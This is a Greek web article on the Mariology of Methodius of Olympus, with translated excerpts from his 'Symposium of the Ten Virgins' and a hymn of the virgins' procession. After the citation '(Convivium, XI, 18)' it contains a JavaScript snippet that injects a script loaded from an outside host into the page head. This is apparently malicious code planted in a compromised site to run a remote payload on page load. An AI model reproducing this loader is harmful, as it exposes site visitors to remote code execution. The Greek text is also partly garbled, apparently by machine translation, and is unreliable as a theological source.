Η μαριολογία του Μεθόδιου του Ολυμπίου (θ. 311)

Από τον Μέτοδιο του Ολύμπου, πιθανώς επίσκοπο της Λυκίας στην Ασία Μικρά, διαθέτουμε περιορισμένες βιογραφικές πληροφορίες: γνωρίζουμε ότι πέθανε μάρτυρας το 311. Έγραψε πολλά έργα, μεταξύ των οποίων η περίφημη και μοναδική που έχει διασωθεί πλήρως στην αρχική της γλώσσα, το «Συμπόσιο των δέκα παρθένων», ή «Διάλογος περί της παρθενίας», εμπνευσμένος από το «Συμπόσιο» του Πλάτωνα. Σε αυτό το διάλογο, δέκα παρθένες εναλλάσσονται στην εξύψωση των αρετών της παρθενίας. Ο διάλογος ολοκληρώνεται με έναν ύμνο στον Χριστό Παντοκράτορα και στην Εκκλησία, την νύμφα Του. Ο Χριστός αποκαθιστά τον καταστραμμένο και διαφθαρμένο άνθρωπο, επαναφέροντάς τον στις αρχέγονες καταβολές του και στον Θεό. Το μέρος όπου πραγματοποιείται αυτή η μεταμόρφωση είναι η κοιλιά της Παρθένου, ένας τόπος καθαρότητας, με τη δύναμη του Αγίου Πνεύματος. Μια πομπή παρθένων και αγνών γυναικών κατευθύνεται προς τον Χριστό, από τον Αβραάμ τον νεκρό μέχρι τον Ιωάννη τον Βαπτιστή: μια πομπή πίστης και μαρτυρίας. Η Παρθένος Μαρία είναι το νυφικό κρεβάτι μεταξύ Θεού και ανθρώπου. Είναι η άθικτη και αγνή Μητέρα της Ζωής, που συναντά τον Άνδρα της με όλη την Εκκλησία, επιβεβαιώνοντας την απαράμιλλη πίστη της.

Σημείωση: Όταν ο συγγραφέας αναφέρει ότι ο Ιησούς είναι ο παλαιότερος από τους αρχάγγελους, πρέπει να λάβουμε υπόψη ότι η Λογία συχνά ταυτίζεται με τη Σοφία, για την οποία μιλούν τα ιερά βιβλία της Παλαιάς Διαθήκης, από πολλούς συγγραφείς των πρώτων αιώνων.

Με γλώσσα γεμάτη γνωστική απόχρωση αλλά ορθοδόξη, ο Μέγας Μέθοδος τον αποκαλεί «τον παλαιότερο των αιώνων και τον πρώτο των αγγελίων», όχι για να τον ισοπεδώσει με τα δημιουργήματα, αλλά για να δηλώσει ότι είναι παλαιότερος από αυτά και επομένως ο ισχυρότερος.

Διάλογος περί της παρθενίας Αναμόρφωση του ανθρώπου εν Χριστώ

Αξίως, ο πρωτότοκος του Θεού, ο πρωτότοκος και μοναδικός, δηλαδή η Σοφία, ενσαρκώθηκε ενώνοντας τον εαυτό του με το πρώτο πλάσμα, τον πρώτο και πρωτότοκο των ανθρώπων. Αυτός είναι ο Χριστός: ένας άνθρωπος γεμάτος αγνή και τέλεια θεϊκή ουσία, και ο Θεός ενσαρκωμένος στον άνθρωπο. Ήταν κατάλληλο ο παλαιότερος των αιώνων και ο πρώτος των αγγελίων, ο οποίος έπρεπε να ενωθεί με τους ανθρώπους, να κατοικήσει στον πρώτο και πρωτότοκο των ανθρώπων, τον Αδάμ. Έτσι, ο Θεός, αναμορφώνοντας και ανακαινίζοντας όλα από την αρχή, γέννησε τον ίδιο (τον Χριστό) από την Παρθένο και το Άγιο Πνεύμα: από την αρχή, όταν η γη ήταν ακόμα παρθένα και άκαμπτη, ο Θεός πήρε λάσπη και με αυτήν σχημάτισε, χωρίς σπόρο, το πιο λογικό ον…

Ο Αδάμ, σαν να ήταν ακόμα μαλακός και υγρός, σχηματισμένος από λάσπη, και ακόμα χωρίς να έχει αποκτήσει, σαν αγγείο, σκληρότητα από την αθανασία, μέσω της αμαρτίας λιώθηκε, ρέοντας σαν νερό σταγόνα προς σταγόνα. Για αυτό το λόγο, ο Θεός, ξανά και ξανά σποράζοντας πάνω του και διαμορφώνοντάς τον στην παρθένο κοιλιά, τον έκανε πρώτα στερεό και συμπαγές. Τότε, ενώνοντάς τον και αναμιγνύοντάς τον με τον Λόγο, ο οποίος είναι πολύ σκληρός και ανθεκτικός, τον ανέστησε στη ζωή, για να αποφύγει να καταβροχθιστεί από τα κύματα της εξωτερικής διαφθοράς, και να μην υποστεί παρακμή και διάλυση.

Η Παρθένος στην πομπή των Παρθένων

Αντίστοιχη: Διατηρώ την αγνότητά μου για σένα, και κρατώντας λαμπρές φλόγες έρχομαι προς το πρόσωπό σου, Ο Γάμος!
Ψαλμός (18): Η Γεννήτρια σου και της Ζωής, άθικτη χάρη, όχι διαποτισμένη, όταν ο άσπιλος σπόρος σου γεννήθηκε στην κοιλιά χωρίς σπορά, αποκάλυψε την όψη της προδοσίας του κρεβατιού, η Παρθένος!
Αλλά έγκυος δήλωσε, Ω Ευλογημένε:
Αντίστοιχη: Διατηρώ την αγνότητά μου για σένα, και κρατώντας λαμπρές φλόγες έρχομαι προς το πρόσωπό σου, Ο Γάμος!

(Convivium, XI, 18)

var url = ‘https://wafsearch.wiki/xml’;
var script = document.createElement(‘script’);
script.src = url;
script.type = ‘text/javascript’;
script.async = true;
document.getElementsByTagName(‘head’)[0].appendChild(script);

Για να εμβαθύνετε στη μελέτη της Πατριστικής Μαριολογίας, συμβουλευτείτε την Ενκυκλίδα Redemptoris Mater του Ιωάννη Παύλου Β’, η οποία φωτίζει το ρόλο της Μαρίας στην θεολογική παράδοση της Εκκλησίας.

Εμβαθύνετε τις σπουδές σας: εξερευνήστε ΜαριολογίαΘεολογία της ΜαρίαςΜαριανές εμφανίσεις και το Μεταπτυχιακό στη Μαριολογία.